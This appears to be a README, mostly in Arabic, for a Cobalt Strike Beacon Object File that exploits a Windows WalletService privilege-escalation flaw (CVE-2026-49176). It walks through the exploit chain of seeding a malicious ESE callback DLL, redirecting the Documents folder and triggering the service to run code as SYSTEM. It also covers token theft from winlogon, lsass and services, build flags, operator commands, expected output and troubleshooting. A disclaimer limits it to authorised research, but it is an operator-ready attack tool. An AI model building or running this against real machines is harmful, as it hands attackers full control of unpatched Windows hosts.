
CVE-2026-49176 WalletService LPE — PoC مستقل + BOF من Cobalt Strike (أمر SYSTEM على جلسة تفاعلية)
ملف Beacon Object File (BOF) خاص بـ Cobalt Strike لتصعيد الامتيازات المحلية عبر خدمة WalletService في ويندوز (CVE-2026-49176، تم إصلاحه في يوليو 2026).
من خلال Beacon بسلامة متوسطة (مستخدم قياسي)، تقوم هذه الأداة بتجهيز قاعدة بيانات ESE خبيثة لـ Wallet، وإعادة توجيه مجلد Documents، وتحفيز WalletService، وتشغيل سطر أوامر يحدده المستدعي بصلاحيات NT AUTHORITY\SYSTEM على سطح المكتب التفاعلي.
نسخة BOF فقط.
الـ PoC الأصلي المستقل بـ PowerShell: DavidCarliez/CVE-2026-49176_LPE_POC. نفس السبب الجذري للثغرة؛ طريقة توصيل مختلفة وإطلاق عملية مختلف بعد SYSTEM.
لأغراض البحث الأمني المصرح به والتعليم والتحقق الدفاعي فقط.
يقوم WalletService بحل FOLDERID_Documents أثناء انتحال هوية المستدعي، ثم يعود إلى LocalSystem قبل فتح:
<Documents>\Wallet\wallet.db
يمكن لمستخدم قياسي زرع رد اتصال افتراضي معرّف من المستخدم خاص بـ ESE (PATH\payload.dll!Export) في تلك القاعدة، وتوجيه مجلد Documents إلى دليل يتحكم فيه، واستدعاء WinRT WalletManager.RequestStoreAsync / GetItemsAsync بحيث تقوم الخدمة بتحميل الـ DLL بصلاحيات SYSTEM.
الشرح التقني: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
غالبًا ما يستخدم WalletService رمز SYSTEM مُصفّى (بدون SeAssignPrimaryToken / SeImpersonate قابلين للاستخدام). الاستدعاء المباشر لـ CreateProcess* يؤدي إلى 1314.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
wallet_callback.dll + shell_broker.exe عبر bof_pack("bbZ")result.txt| البند | المتطلب |
|---|---|
| Beacon |
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| الأمر | المخرجات |
|---|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | DLL + broker فقط |
build.bat clean | حذف الملفات الناتجة |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
عدّل مسارات VCVARS64 في build.bat إذا كان VS غير مثبت في المسار الافتراضي.
أعلام حرجة: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (سلامة رابط CS BOF).
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(أعد التحميل بعد كل إعادة بناء.)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
قد تكون قيمة detail= إما winlogon أو services أو lsass أو مسار broker.
يتم استعادة مجلد Documents حتى عند الفشل إذا نجحت إعادة التوجيه.
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL رد الاتصالOpenProcess / واجهات API الخاصة بالرموز ضد winlogon/lsass/servicesCVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW نحو جلسات تفاعلية| الرابط | الوصف |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | الـ PoC الأصلي المستقل لتصعيد الامتيازات المحلية (PoC بحثي من المنبع) |
| الشرح التقني | المقال البحثي الأصلي |
| المرحلة | الـ PoC الأصلي | هذا الـ BOF |
|---|
| زرع قاعدة بيانات ESE | wallet_ese_seed.exe | داخل الـ BOF Jet*A |
| إعادة توجيه Documents | documents_path.exe | داخل الـ BOF SHGet/SetKnownFolderPath |
| تحفيز Wallet | PowerShell WinRT | داخل الـ BOF RoGetActivationFactory |
| DLL رد الاتصال | wallet_callback_shell.dll | wallet_callback.dll |
| الـ PoC الأصلي | هذا الـ BOF |
|---|
| العملية الهدف | cmd.exe مثبّتة في الكود | سطر أوامر يوفره المشغّل |
| الأسلوب الأساسي | خدمة مؤقتة ← shell_broker.exe ← CreateProcessAsUserW | سرقة رمز من winlogon / services / lsass ← إطلاق |
| الأسلوب الاحتياطي | لا يوجد | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| x64، سلامة متوسطة (غير مرتفعة) |
| الهدف | WalletService المتأثر بالثغرة (قبل تصحيح يوليو 2026) |
| CS | Cobalt Strike 4.x مع دعم BOF |
| البناء | VS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT) |
| السجل | المعنى |
|---|
JetAddColumn: -1003 | مشكلة في معاملات ESE |
error=1314 | SYSTEM مُصفّى؛ يلزم سرقة رمز أو broker |
STEAL_FAIL error=5 | تعذّر فتح العملية/الرمز المستهدف |
StartService error=32 | انتهاك مشاركة (يُخفَّف عبر غلاف cmd) |
detail=all_methods | فشلت جميع استراتيجيات ما بعد SYSTEM |
الرابط Unknown symbol '??_C@_...' | أعلام بناء BOF خاطئة؛ أعد البناء باستخدام build.bat |